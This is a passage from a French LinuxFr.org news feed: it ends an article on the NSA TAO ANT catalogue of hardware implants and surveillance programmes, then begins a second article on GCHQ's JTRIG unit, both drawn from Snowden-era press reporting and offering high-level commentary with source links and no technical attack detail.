<a href="https://www.nsa-observer.net/IRONCHEF">IRONCHEF</a> fournit un accès persistant sur les serveurs <strong>HP</strong> Proliant 380DL G5 en exploitant le BIOS de la carte-mère et le <em>System Management Mode</em> (SMM) via un implant matériel qui permet une communication via des ondes radio,</li>
<li>Les programmes se finissant par "WATER" (<a href="https://www.nsa-observer.net/HALLUXWATER">HALLUXWATER</a> / <a href="https://www.nsa-observer.net/HEADWATER">HEADWATER</a>) visent les pare-feux <em>Eudemon</em> du constructeur <strong>Huawei</strong> en installant une porte dérobée persistante via une "mise à jour" de la ROM du boot.</li>
</ul><h4 id="implants-matériels">Implants matériels</h4>
<p><a href="https://www.nsa-observer.net/ANGRYNEIGHBOR">ANGRYNEIGHBOR</a> regroupe différents programmes d'écoutes fonctionnant à distance avec des ondes, que ce soit radar ou radio. Ils fonctionnent le plus souvent avec une balise et fonctionnent même si l'ordinateur n'est pas branché à un réseau. Un générateur d'ondes (<em><a href="https://www.nsa-observer.net/CW">CW</a></em>) illumine (comprendre "envoie des ondes vers") la balise, qui utilise alors ces ondes pour renvoyer ses informations. On parle alors d'ondes RF pour les fréquences radios et d'ondes radars pour le reste.</p>
<ul>
<li>
<a href="https://www.nsa-observer.net/COTTONMOUTH">COTTONMOUTH</a> est un implant USB (matériel) avec un lien RF qui permet l'infiltration ou l'exfiltration de données. Compatible avec <a href="https://www.nsa-observer.net/GENIE">GENIE</a>,</li>
<li>
<a href="https://www.nsa-observer.net/BULLDOZER">BULLDOZER</a> et <a href="https://www.nsa-observer.net/GINSU">GINSU</a> sont des malwares visant le bus PCI, installé via <a href="https://www.nsa-observer.net/INTERDICTION">INTERDICTION</a>, ils peuvent être connectés sur une carte WIFI ou sur un routeur pour collecter des métadonnées et du contenu,</li>
<li>
<a href="https://www.nsa-observer.net/FIREWALK">FIREWALK</a> est un implant pour l'Ethernet (rj45/USB ?) permettant un pont RF</li>
<li>
<a href="https://www.nsa-observer.net/LOUDAUTO">LOUDAUTO</a> est un rétro-réflecteur utilisant les ondes radar et du post-traitement basique pour récupérer l'audio d'une pièce.</li>
<li>
<a href="https://www.nsa-observer.net/SURLYSPAWN">SURLYSPAWN</a> permet de collecter les frappes au clavier sans devoir avoir un logiciel installé sur le système cible, il faut qu'il soit seulement touché une fois.</li>
<li>
<a href="https://www.nsa-observer.net/PHOTOANGLO">PHOTOANGLO</a> (comme le <a href="https://www.nsa-observer.net/CTX4000">CTX4000</a>), est un générateur d'ondes en continu (CW), </li>
<li>
<a href="https://www.nsa-observer.net/RAGEMASTER">RAGEMASTER</a> fournit la "balise" qui sera illuminée par un générateur d'ondes. Il est installé dans un câble VGA standard et permet la récupération du signal vidéo. La description du catalogue rapporte que <a href="https://www.nsa-observer.net/RAGEMASTER">RAGEMASTER</a> ne prend en compte que la "sortie" <a href="http://fr.wikipedia.org/wiki/Connecteur_VGA">rouge du VGA</a> car c'est celui qui fournit le meilleur retour vidéo.</li>
<li>
<a href="https://www.nsa-observer.net/TAWDRYYARD">TAWDRYYARD</a> sert de balise permettant de géolocaliser et d'identifier un périphérique implémentant RAGEMASTER.</li>
</ul><p>En lisant le catalogue, on peut parfois voir qu'un programme est fait de composants "COTS" ("<em><a href="http://en.wikipedia.org/wiki/Commercial_off-the-shelf">Commercial Off-The-Shelf</a></em>), ce qui signifie que l'on peut le trouver librement sur le marché et donc que l'on ne peut pas remonter à la NSA si quelqu'un le trouve. Si vous souhaitez plus de détails, vous pouvez voir les liens suivants : les <a href="https://www.libwalk.so/files/TAO/">48 pages du catalogues</a>, "<em><a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969.html">Inside TAO: Documents Reveal Top NSA Hacking Unit</a></em>", "<em><a href="http://www.nytimes.com/2014/01/15/us/nsa-effort-pries-open-computers-not-connected-to-internet.html?smid=tw-nytimestech&seid=auto&_r=1">N.S.A. Devises Radio Pathway Into Computers</a></em>" ou encore "<em><a href="http://www.democracynow.org/2013/12/31/jacob_appelbaum_futuristic_sounding_radar_wave">Jacob Appelbaum: Futuristic-Sounding "Radar Wave Devices</a></em>".</p>
<h5 id="et-les-drones">Et les drones ?</h5>
<p><a href="https://www.nsa-observer.net/NIGHTSTAND">NIGHTSTAND</a>, permet d'injecter des exploits sur une ou plusieurs cibles via un réseau WIFI. Il est typiquement utilisé lorsque la cible n'est pas accessible via un réseau câblé, et l'attaque est indétectable par l'utilisateur. Les documents indiquent que dans un environnement idéal, il est possible d'attaquer un réseau WIFI à une distance de ~12 kilomètres. NIGHTSTAND est aussi <a href="http://www.dailydot.com/technology/nsa-wifi-hack-eight-miles/">utilisable à partir d'un drone</a>. </p>
<p>Sur le même thème, vous pouvez aussi regarder les programmes suivants : <a href="https://www.nsa-observer.net/SPARROW-II">SPARROW-II</a> (ordinateur embarqué sur du Linux, permet d'exploiter un réseau WIFI à distance), <a href="https://www.nsa-observer.net/SHENANIGANS">SHENANIGANS</a> (permet la captation massive de données, provenant aussi bien de routeurs WIFI que de smartphones), <a href="https://www.nsa-observer.net/GILGAMESH">GILGAMESH</a> (localisation d'une carte SIM à partir d'un drone) et <a href="https://nsa-observer.net/VICTORYDANCE">VICTORYDANCE</a> (coopération NSA/CIA : empreinte des réseaux WIFI de quasiment toutes les grandes villes yéménites).</p>
<h3 id="mais-comment-font-ils">Mais comment font-ils ?</h3>
<p>Comment font-ils pour accéder physiquement au serveur s'ils doivent mettre en place des implants matériels ? Ou pour casser de la crypto ? Où encore pour accéder aux différentes réseaux ?</p>
<p>Il existe un programme, appelé <a href="https://nsa-observer.net/INTERDICTION">INTERDICTION</a> qui consiste à intercepter un colis pendant son transfert pour y installer ce que vous voulez, le tout est renvoyé rapidement et discrètement (et avec le bon emballage bien entendu) à la cible. Le simple fait de commander du matériel en ligne est donc potentiellement un danger. La parade est plutôt simple, il suffit d'aller en magasin. Et comme conclut à juste titre <a href="http://www.theregister.co.uk/2013/12/31/nsa_weapons_catalogue_promises_pwnage_at_the_speed_of_light/?page=">the register</a>, il n'y a apparemment aucun "programme" qui possède une période de validité (à par <a href="https://nsa-observer.net/SEASONEDMOTH">SEASONEDMOTH</a>). Ce qui veut dire une chose : méfiez-vous de à qui vous achetez votre matériel d'occasion :]</p>
<p>Pour le chiffrement, c'est <a href="https://www.nsa-observer.net/BULLRUN">BULLRUN</a> qui rentre en jeu : il vise à supprimer le chiffrement dans un environnement donné : CNE (<em><a href="http://en.wikipedia.org/wiki/Computer_network_operations">Computer Network Exploitation</a></em>), <a href="https://nsa-observer.net/INTERDICTION">INTERDICTION</a> (et donc pose d'implants), collecte de données (comme les <a href="http://community.websense.com/blogs/securitylabs/archive/2013/12/29/dr-watson.aspx">rapports d'erreurs de Windows</a>) relation avec les entreprises : au hasard <a href="http://www.cnet.com/news/security-firm-rsa-took-millions-from-nsa-report/">RSA</a> ou encore Microsoft (cf. <a href="https://nsa-observer.net/PRISM">PRISM</a>) ,</p>
<p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f536b7970655f707269736d5f73736f2e706e67/Skype_prism_sso.png" alt="Skype prism SSO" title="Source : https://www.libwalk.so/images/2014/Skype_prism_sso.png"></p>
<p>ou avec d'autres services (par exemple le FBI pour Microsoft)</p>
<p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f6d6963726f736f66745f4642492e706e67/microsoft_FBI.png" alt="Microsoft FBI" title="Source : https://www.libwalk.so/images/2014/microsoft_FBI.png"></p>
<p><em>À ce sujet, je m'interroge sur <a href="http://googleblog.blogspot.fr/2010/05/wifi-data-collection-update.html">Google</a> et les <a href="http://www.wired.com/2012/05/google-wifi-fcc-investigation/">Google cars</a> scannant les <a href="http://www.wired.com/2012/05/google-wifi-fcc-investigation/">réseaux WiFi</a> en 2010. L'information importante n'était pas que Google capte des données sur des réseaux ouverts, mais qu'il a "mappé" TOUS les <a href="http://en.wikipedia.org/wiki/Service_set_%28802.11_network%29#Service_set_identification_.28SSID.29">SSID</a> des réseaux wifi ainsi que leurs localisations : exactement la même chose que ce que la NSA a fait au Yémen avec <a href="https://www.nsa.-observer.net/VICTORYDANCE">VICTORY DANCE</a>. Le fait de savoir où se trouve un réseau wifi permet de géolocaliser une cible en ayant accès à son téléphone ou à son ordinateur sans même qu'il ne soit connecté à un réseau, son wifi doit juste être allumé. S'il est connecté, il devient alors possible de faire un lien entre une adresse IP et un SSID.</em></p>
<p>Continuons avec <a href="http://www.nytimes.com/interactive/2013/09/05/us/documents-reveal-nsa-campaign-against-encryption.html?_r=1&">BULLRUN</a> : il ne faut pas oublier que la NSA a certains des meilleurs mathématicien-ne-s au monde qui travaillent sur de la cryptographie pour améliorer ou au contraire affaiblir des protocoles (comme <a href="http://en.wikipedia.org/wiki/IPsec#Alleged_NSA_interference">IPsec</a> par exemple), mais aussi pour trouver des failles à exploiter avant les autres. Ainsi, en novembre 2013, <a href="http://en.wikipedia.org/wiki/Jacob_Appelbaum">Jacob Appelbaum</a> (qui a eu accès à des documents classifiés d'une autre source que Snowden) disait que "<em><a href="https://twitter.com/ioerror/status/398059565947699200">RC4 is broken in real time by the NSA - stop using it</a>.</em>" (<strong>RC4 est cassé en temps réel par la NSA, arrêtez de l'utiliser</strong>).</p>
<p>Il peut aussi y avoir des attaques plus simples , par exemple sur l'utilisation de <a href="http://en.wikipedia.org/wiki/STARTTLS">STARTTLS</a> au lieu de <a href="http://forums.mozillazine.org/viewtopic.php?f=39&t=2730845">SSL/TLS</a> ; son utilisation permet dans certains cas de forcer une connexion en clair au lieu d'avoir un chiffrement quelconque (d'où l'intérêt de mettre ssl = required et non ssl = yes).</p>
<h3 id="oui-et-alors">Oui et alors ?</h3>
<p>La NSA peut alors utiliser des outils comme <a href="https://nsa-observer.net/XKEYSCORE">XKEYSCORE</a> (dont j'avais parlé dans le <a href="https://www.libwalk.so/2014/06/28/NSA-temps-de-faire-le-premier-point.html">premier article</a>) qui permet de rechercher en quasi temps réel dans <a href="https://www.nsa-observer.net/category/program/family/database">les différentes bases de données</a> de la NSA et d'autres services : ça peut aller de la nationalité, au sexe, la géolocalisation, l'IP, aux résultats de <a href="https://nsa-observer.net/DISCOROUTE">DISCOROUTE</a> (écoute passive et planétaire du protocole <a href="http://en.wikipedia.org/wiki/Telnet">Telnet</a>), en passant par les personnes qui <a href="http://rt.com/news/170208-nsa-spies-tor-users/">téléchargent le logiciel Tor</a> jusqu'aux <a href="http://arstechnica.com/tech-policy/2013/08/nsas-internet-taps-can-find-systems-to-hack-track-vpns-and-word-docs/">sessions VPN</a>, <a href="http://en.wikipedia.org/wiki/XKeyscore">etc…</a>.</p>
<p>Une fois une cible définie (comme un administrateur système et/ou réseau, cf. <a href="https://www.nsa-observer.net/IHUNTSYSADMINS">I Hunt sysadmin</a>), la NSA peut alors rediriger une cible vers un serveur <a href="https://www.nsa-observer.net/category/program/family/target/name/FOXACID">FOXACID</a> (pour injecter du code dans son navigateur en utilisant des <a href="http://fr.wikipedia.org/wiki/Vuln%C3%A9rabilit%C3%A9_jour_z%C3%A9ro">0-day</a>), la NSA réalise un <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle</a> via des fausses pages web (<a href="http://arstechnica.com/tech-policy/2013/11/uk-spies-continue-quantum-insert-attack-via-linkedin-slashdot-pages/">Linkedin, slashdot</a>, …) lors de la redirection en utilisant ses serveurs <a href="https://www.nsa-observer.net/QUANTUM">QUANTUM</a> et du <em><a href="http://en.wikipedia.org/wiki/Deep_packet_inspection">Deep Packet Inspection</a></em> (<a href="https://www.nsa-observer.net/TURBINE">TURBINE</a> /<a href="https://www.nsa-observer.net/TURMOIL">TURMOIL</a>).</p>
<p>Pour plus de détails sur cette méthode, vous pouvez lire les articles suivants :</p>
<ul>
<li>"<em><a href="https://firstlook.org/theintercept/2014/03/12/nsa-plans-infect-millions-computers-malware/">How the NSA Plans to Infect ‘Millions’ of Computers with Malware</a></em>" par Ryan Gallagher et Glenn Greenwald</li>
<li>"<em><a href="https://www.schneier.com/blog/archives/2013/10/how_the_nsa_att.html">How the NSA Attacks Tor/Firefox Users With QUANTUM and FOXACID</a></em>" par <a href="https://www.schneier.com/about.html">Bruce Schneier</a>
</li>
<li>"<em><a href="http://www.wired.com/2013/11/this-is-how-the-internet-backbone-has-been-turned-into-a-weapon/">Our Government Has Weaponized the Internet. Here’s How They Did It</a></em>" par <a href="http://www.wired.com/author/ncweaver/">Nicholas Weaver</a>.</li>
</ul><p>Pour la petite histoire, la société française <a href="http://www.zdnet.com/nsa-purchased-zero-day-exploits-from-french-security-firm-vupen-7000020825/">VUPEN a vendu des 0-day à la NSA</a>, et aussi à <a href="https://netzpolitik.org/2014/gamma-finfisher-hacked-40-gb-of-internal-documents-and-source-code-of-government-malware-published/">FinFisher</a>.</p>
<p>Certains documents rapportent <a href="http://www.washingtonpost.com/world/national-security/us-spy-agencies-mounted-231-offensive-cyber-operations-in-2011-documents-show/2013/08/30/d090a6ae-119e-11e3-b4cb-fd7ce041d814_story.html">231 opérations en 2011</a>, dont les 3/4 étaient en priorité contre l'Iran, la Russie, la Chine, la Corée du nord et la prolifération nucléaire. Voici quelques autres cibles :</p>
<ul>
<li>Le <a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969-2.html"><em>Secretariat of Public Security</em> mexicain</a> qui est responsable de la police nationale, de l'anti-terrorisme, des prisons, et de la police aux frontières.</li>
<li>L'entreprise allemande <a href="https://firstlook.org/theintercept/2014/09/14/nsa-stellar/">Stellar PCS</a> de communications satellite (ainsi que Cetel et IABG)</li>
<li>Le Fournisseur d'Accès à Internet belge <a href="http://www.spiegel.de/international/world/ghcq-targets-engineers-with-fake-linkedin-pages-a-932821.html">Belgacom</a> en coopération avec le GCHQ.<br>
</li>
<li>Une tentative sur un routeur en Syrie qui a fait tombé l'accès à Internet de tout le pays : <a href="http://arstechnica.com/tech-policy/2014/08/snowden-the-nsa-not-assad-took-syria-off-the-internet-in-2012/">The NSA, not Assad, took Syria off the Internet in 2012</a>,</li>
<li>
<a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969-2.html">STUXNET</a>, en coopération avec les services Israëlien, est un ver qui visait les <a href="http://en.wikipedia.org/wiki/Stuxnet">systèmes SCADA des centrales nucléaires en Iran</a>.</li>
</ul><p>Pour finir, <a href="http://www.washingtonpost.com/world/national-security/us-spy-agencies-mounted-231-offensive-cyber-operations-in-2011-documents-show/2013/08/30/d090a6ae-119e-11e3-b4cb-fd7ce041d814_story.html">un document</a> indique que TAO est en train de travailler (en 2011) sur des implants pouvant identifier des "conversations intéressantes" dans un réseau ciblé et d'exfiltrer des morceaux.</p>
<h4 id="sources">Sources</h4>
<h3 id="tao---catalogue-ant">TAO - <a href="https://www.nsa-observer.net/tags/ant">catalogue ANT</a>
</h3>
<ul>
<li>les 48 pages du catalogues sont visibles sur <a href="https://www.libwalk.so/files/TAO/">www.libwalk.so/files/TAO/</a> et plus facilement téléchargeables avec ce fichier : <a href="https://www.libwalk.so/files/TAO/NSA-TAO-ANT-48pages.tar.gz">NSA-TAO-ANT-48pages.tar.gz</a>,<br>
</li>
<li>Une vue rapide et bien faite du catalogue ANT sur <a href="http://nsa.gov1.info/dni/nsa-ant-catalog/index.html">http://nsa.gov1.info</a>
</li>
<li>spiegel.de - <a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969.html">Inside TAO: Documents Reveal Top NSA Hacking Unit</a>
<ul>
<li>page 2 - <a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969-2.html">Targeting Mexico</a>
</li>
<li>page 3 - <a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969-3.html">The NSA's Shadow Network</a>
</li>
</ul>
</li>
<li>spiegel.de - <a href="http://www.spiegel.de/international/world/nsa-secret-toolbox-ant-unit-offers-spy-gadgets-for-every-need-a-941006.html">NSA's Secret Toolbox: Unit Offers Spy Gadgets for Every Need</a>
</li>
<li>spiegel.de - <a href="http://www.spiegel.de/international/world/catalog-reveals-nsa-has-back-doors-for-numerous-devices-a-940994.html">Shopping for Spy Gear: Catalog Advertises NSA Toolbox</a> (slides)</li>
<li>spiegel.de - <a href="http://www.spiegel.de/fotostrecke/nsa-dokumente-so-knackt-der-geheimdienst-internetkonten-fotostrecke-105326.html">NSA-Dokumente: So knackt der Geheimdienst Internetkonten</a>
</li>
<li><p>spiegel.de - <a href="http://www.spiegel.de/international/world/a-941262.html">vue interactive des programmes</a> (en anglais)</p></li>
<li><p>washingtonpost.com - <a href="http://www.washingtonpost.com/world/national-security/us-spy-agencies-mounted-231-offensive-cyber-operations-in-2011-documents-show/2013/08/30/d090a6ae-119e-11e3-b4cb-fd7ce041d814_story.html">U.S. spy agencies mounted 231 offensive cyber-operations in 2011, documents show</a> (GENIE)</p></li>
<li><p>washingtonpost.com - <a href="http://www.washingtonpost.com/blogs/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/">NSA uses Google cookies to pinpoint targets for hacking</a></p></li>
<li><p>cryptome.org - <a href="http://cryptome.org/2014/01/appelbaum-der-spiegel.htm">Jacob Appelbaum on Der Spiegel NSA/GCHQ Reports</a> on liberationtech.</p></li>
<li><p>leaksource.info - <a href="http://leaksource.info/2013/12/30/nsas-ant-division-catalog-of-exploits-for-nearly-every-major-software-hardware-firmware/">NSA’s ANT Division Catalog of Exploits</a></p></li>
<li><p>engadget.com - <a href="http://www.engadget.com/2013/12/30/nsa-can-hack-wifi-devices-from-eight-miles-away/">NSA can hack WiFi devices from eight miles away</a></p></li>
<li><p>iclarified.com - <a href="http://www.iclarified.com/37195/the-nsa-has-a-backdoor-called-dropoutjeep-for-nearly-complete-access-to-the-apple-iphone">The NSA Has a Backdoor Called 'DROPOUTJEEP' for Nearly Complete Access to the Apple Iphone</a></p></li>
</ul><h4 id="tag-ant-nsa-sur-nsa-observernet">Tag <a href="https://www.nsa-observer.net/tags/ant">ANT</a> (NSA) sur nsa-observer.net</h4>
<p><a href="https://www.nsa-observer.net/BULLDOZER">BULLDOZER</a> - <a href="https://www.nsa-observer.net/CANDYGRAM">CANDYGRAM</a> - <a href="https://www.nsa-observer.net/COTTONMOUTH-I">COTTONMOUTH-I</a> - <a href="https://www.nsa-observer.net/COTTONMOUTH-II">COTTONMOUTH-II</a> - <a href="https://www.nsa-observer.net/COTTONMOUTH-III">COTTONMOUTH-III</a> - <a href="https://www.nsa-observer.net/CROSSBEAM">CROSSBEAM</a> - <a href="https://www.nsa-observer.net/CTX4000">CTX4000</a> - <a href="https://www.nsa-observer.net/CYCLONE">CYCLONE</a> - <a href="https://www.nsa-observer.net/DEITYBOUNCE">DEITYBOUNCE</a> - <a href="https://www.nsa-observer.net/DROPOUTJEEP">DROPOUTJEEP</a> - <a href="https://www.nsa-observer.net/ENTOURAGE">ENTOURAGE</a> - <a href="https://www.nsa-observer.net/FEEDTROUGH">FEEDTROUGH</a> - <a href="https://www.nsa-observer.net/FIREWALK">FIREWALK</a> - <a href="https://www.nsa-observer.net/GENESIS">GENESIS</a> - <a href="https://www.nsa-observer.net/GOPHERSET">GOPHERSET</a> - <a href="https://www.nsa-observer.net/GOURMETTROUGH">GOURMETTROUGH</a> - <a href="https://www.nsa-observer.net/HALLUXWATER">HALLUXWATER</a> - <a href="https://www.nsa-observer.net/HEADWATER">HEADWATER</a> - <a href="https://www.nsa-observer.net/HOWLERMONKEY">HOWLERMONKEY</a> - <a href="https://www.nsa-observer.net/IRONCHEF">IRONCHEF</a> - <a href="https://www.nsa-observer.net/JETPLOW">JETPLOW</a> - <a href="https://www.nsa-observer.net/JUNIORMINT">JUNIORMINT</a> - <a href="https://www.nsa-observer.net/LOUDAUTO">LOUDAUTO</a> - <a href="https://www.nsa-observer.net/MAESTRO-II">MAESTRO-II</a> - <a href="https://www.nsa-observer.net/MONKEYCALENDAR">MONKEYCALENDAR</a> - <a href="https://www.nsa-observer.net/NEBULA">NEBULA</a> - <a href="https://www.nsa-observer.net/NIGHTSTAND">NIGHTSTAND</a> - <a href="https://www.nsa-observer.net/NIGHTWATCH">NIGHTWATCH</a> - <a href="https://www.nsa-observer.net/PHOTOANGLO">PHOTOANGLO</a> - <a href="https://www.nsa-observer.net/PICASSO">PICASSO</a> - <a href="https://www.nsa-observer.net/RAGEMASTER">RAGEMASTER</a> - <a href="https://www.nsa-observer.net/SCHOOLMONTANA">SCHOOLMONTANA</a> - <a href="https://www.nsa-observer.net/SIERRAMONTANA">SIERRAMONTANA</a> - <a href="https://www.nsa-observer.net/SOMBERKNAVE">SOMBERKNAVE</a> - <a href="https://www.nsa-observer.net/SOUFFLETROUGH">SOUFFLETROUGH</a> - <a href="https://www.nsa-observer.net/SPARROW-II">SPARROW-II</a> - <a href="https://www.nsa-observer.net/STUCCOMONTANA">STUCCOMONTANA</a> - <a href="https://www.nsa-observer.net/SURLYSPAWN">SURLYSPAWN</a> - <a href="https://www.nsa-observer.net/SWAP">SWAP</a> - <a href="https://www.nsa-observer.net/TAWDRYYARD">TAWDRYYARD</a> - <a href="https://www.nsa-observer.net/TOTECHASER">TOTECHASER</a> - <a href="https://www.nsa-observer.net/TOTEGHOSTLY">TOTEGHOSTLY</a> - <a href="https://www.nsa-observer.net/TRINITY">TRINITY</a> - <a href="https://www.nsa-observer.net/WATERWITCH">WATERWITCH</a> - <a href="https://www.nsa-observer.net/WISTFULTOLL">WISTFULTOLL</a></p></div><div><a href="https://linuxfr.org/news/nsa-tao-le-chemin-vers-vos-serveurs.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/103365/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/nsa-tao-le-chemin-vers-vos-serveurs#comments">ouvrir dans le navigateur</a>
</p>
skhaenBenoît Sibaudpalm123NeoXtuiu polhttps://linuxfr.org/nodes/103365/comments.atomtag:linuxfr.org,2005:News/355812014-08-05T13:05:31+02:002014-08-05T13:05:31+02:00Que peut faire le service d'élite JTRIG du GCHQ ? Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Bonjour tout le monde, comme <a href="//linuxfr.org/news/nsa-temps-de-faire-le-premier-point">l'article précédent</a> la version originale de cet article possède énormément de liens et de références ; je ne peux pas tout mettre ici, vous avez le lien vers l'article en question en bas de la page. J'espère que ça vous plaira :)</p>
<hr><p>Nous allons parler dans cet article du JTRIG (pour Joint Threat Research Intelligence Group), qui est l'équivalent anglais pour le GCHQ (les services de renseignements anglais) du département TAO de la NSA. La mission du JTRIG consiste entre autres à détruire ou à empêcher d'agir les ennemis en les discréditant via de fausses informations ou en empêchant leurs communications de fonctionner : déni de service (DoS) via appels ou sms, suppression de la présence en ligne d'une cible, changement de photos sur les réseaux sociaux (pour discréditer une cible ou augmenter drastiquement sa parano), captation des courriels (par exemple pour apporter de la crédibilité lors de l'infiltration d'un groupe), … la liste est longue.</p></div><ul><li>lien nᵒ 1 : <a title="http://www.libwalk.so/2014/08/1/gchq-jtrig-part1.html" hreflang="fr" href="https://linuxfr.org/redirect/91206">Version originale : GCHQ - partie 1 : JTRIG</a></li><li>lien nᵒ 2 : <a title="http://nsa-observer.net/" hreflang="fr" href="https://linuxfr.org/redirect/91207">nsa-observer</a></li><li>lien nᵒ 3 : <a title="http://linuxfr.org/news/nsa-temps-de-faire-le-premier-point" hreflang="fr" href="https://linuxfr.org/redirect/91208">DLFP : NSA - temps de faire le (premier) point</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li><ul>
<li><a href="#gchq-vs-anonymous">GCHQ vs Anonymous</a></li>
<li><a href="#que-font-les-terroristes-d%C3%A9j%C3%A0-des-ddos">Que font les terroristes déjà ? Des DDoS ?</a></li>
<li><a href="#spam">Spam</a></li>
<li><a href="#honey-traps-pots-de-miel">Honey traps (pots de miel)</a></li>
<li><a href="#r%C3%A9seaux-sociaux">Réseaux sociaux</a></li>
<li><a href="#quelques-programmes-bonus">Quelques programmes bonus</a></li>
<li><a href="#pour-finir">Pour finir</a></li>
</ul></li>
</ul></li>
</ul><p>Le GCHQ possède un rayon d'action étendu, allant d'une cible individuelle à l'échelle d'un pays.</p>
<p><img src="//img.linuxfr.org/img/687474703a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f736e6f7764656e2d6a747269672d736c6964652e706e67/snowden-jtrig-slide.png" alt="Snowden-JTRIG" title="Source : http://www.libwalk.so/images/2014/snowden-jtrig-slide.png"></p>
<h4 id="gchq-vs-anonymous">GCHQ vs Anonymous</h4>
<p>Dans un article du 5 février 2014, Mark Schone (NBC News) racontait comment le JTRIG lançait des DDoS contre les <a href="http://fr.wikipedia.org/wiki/Anonymous_%28collectif%29">Anonymous</a> avec le programme ROLLING THUNDER (DDoS via P2P/<em>syn flood</em> selon le journal).</p>
<p>Le GCHQ était aussi présent sur des canaux IRC Anons, ce qui leur a permis d'arrêter quelques personnes : Edward Pearson dit <em>GZero</em>. Jake <em>Topiary</em> Davis (porte-parole du groupe Lulzsec), Mustafa <em>Tflow</em> Al-Bassam, aussi du groupe Lulzsec, ainsi que quelques autres.</p>
<p><a href="http://www.libwalk.so/2014/08/1/gchq-jtrig-part1.html#collapseOne">Quelques infos supplémentaires sur les condamnations</a></p>
<p>GZero a sans aucun doute cherché les emmerdes : vol de comptes paypal, utilisation de CB volées, discussion en ligne avec un agent se faisant passer pour un Anon à propos d'attaque…, le blog garwarner.blogspot.fr raconte des choses très intéressantes : son compte SoundCloud aurait eu comme Userid GZero et comme nom "Edward Pearson". Selon la diapositive 7 de ce document, un whois sur un de ses liens échangés sur IRC aurait rapporté des informations… même pas sûr que le GCHQ ait eu à utiliser le programme PHOTON TORPEDO qui permet de récupérer l'adresse IP d'un utilisateur de MSN : oui… il avait aussi son adresse en clair sur un site, lié à son pseudo…</p>
<p>Un autre Anon, p0ke, a cliqué sur un lien menant vers l'article de la BBC “Who loves the hacktivists" qu'un agent lui a envoyé. Je pense que vous devinez ce qui s'est passé, le GCHQ a été capable de récupérer l'adresse IP qu'il avait derrière son VPN.</p>
<p>Ça marche avec des liens (rappelez-vous de QUANTUM et de FOXACID), mais ça marche aussi très bien avec des pièces jointes, comme avec un document Office : TRACER FIRE permet de récupérer des infos sur la machine ciblée, comme des fichiers ou des logs), TORNADO ALLEY fait plus ou moins la même chose sous la forme d'un document Excel. Ou encore GURKHAS SWORD qui permet de faire remonter l'adresse IP de la cible. Le lien sur lequel il a cliqué était sans doute piégé, mais il existe une autre hypothèse : une surveillance passive des connexions à l'article via TEMPORA et ANTICRISIS GIRL, et qui aurait pu permettre par ricochet de remonter à sa navigation, comme son compte Facebook, et ses adresses de courriels.</p>
<p>Ça aurait aussi pu venir de l'utilisation d'un programme comme GLASS BACK (permet de récupérer l'adresse IP d'une cible en la spammant), ou tout simplement une requête en bonne et due forme au fournisseur du VPN en question (on en oublierait presque les bonnes vieilles méthodes).</p>
<h4 id="que-font-les-terroristes-déjà-des-ddos">Que font les terroristes déjà ? Des DDoS ?</h4>
<p>Il est toujours agréable d'apprendre que le GCHQ sait très, très bien utiliser le déni de services sous toutes ses formes : DoS sur des serveurs web (PREDATORS FACE), sur les téléphones via <em>call bombing</em> (SCARLET EMPEROR), contre SSH (SILENT MOVIE) ou encore de manière silencieuse sur les téléphones satellite / GSM avec VIPERS TONGUE (par silencieux, on entend que la cible ne voit rien du DoS ; les messages n'arrivent pas réellement sur le périphérique mais bloquent les communications).</p>
<p>AMBASSADORS RECEPTION a été utilisé dans différentes situations : quand il est utilisé sur une machine cible, il se chiffre lui-même, efface tous les courriels, chiffre tous les fichiers, fait trembler l'écran et empêche l'utilisateur de s'identifier. STEALTH MOOSE cible spécifiquement les machines Windows.</p>
<p>Une autre opération visant spécifiquement les Talibans en Afghanistan a consisté en une tempête de fax, d'appels et de SMS programmée pour arriver toutes les minutes sur les terminaux cibles.</p>
<p>CANNONBALL permet de spammer via SMS une cible, BURLESQUE permet d'envoyer des SMS modifiés et CONCRETE DONKEY permet l'envoi d'un message audio à de nombreux téléphones ou de "spammer" une cible avec le même message (on notera la référence à Worms Armageddon <3).</p>
<h4 id="spam">Spam</h4>
<p>Et le GCHQ n'hésite pas à envoyer via les réseaux sociaux (Facebook, Twitter, Skype) le message "<em>DDOS and hacking is illegal, please cease and desist</em>" pour « dissuader » des activistes de participer à des DDoS. Une des diapositives indique que 80% des personnes à qui avait été envoyé le message n'étaient plus sur les canaux IRC un mois après.</p>
<p>On parle ici de programme comme BADGER ou WARPATH qui permettent d'envoyer massivement (qui a dit spammer ?) du courriel.</p>
<p>Pour information, MINIATURE HERO vise spécifiquement le logiciel Skype et permet de collecter et d'enregistrer des conversations (aussi bien skypeOut que en skype to skype), les messageries instantanées et les listes de contacts.</p>
<h4 id="honey-traps-pots-de-miel">Honey traps (pots de miel)</h4>
<p>ROYAL CONCIERGE exploite les réservations d'hôtels pour tracker les diplomates étrangers (et sans doute pas que les diplomates). Le GCHQ utilise ce programme pour essayer de mener les cibles vers des hôtels "SIGINT friendly" : plus facilement espionnables, aussi bien électroniquement que humainement.</p>
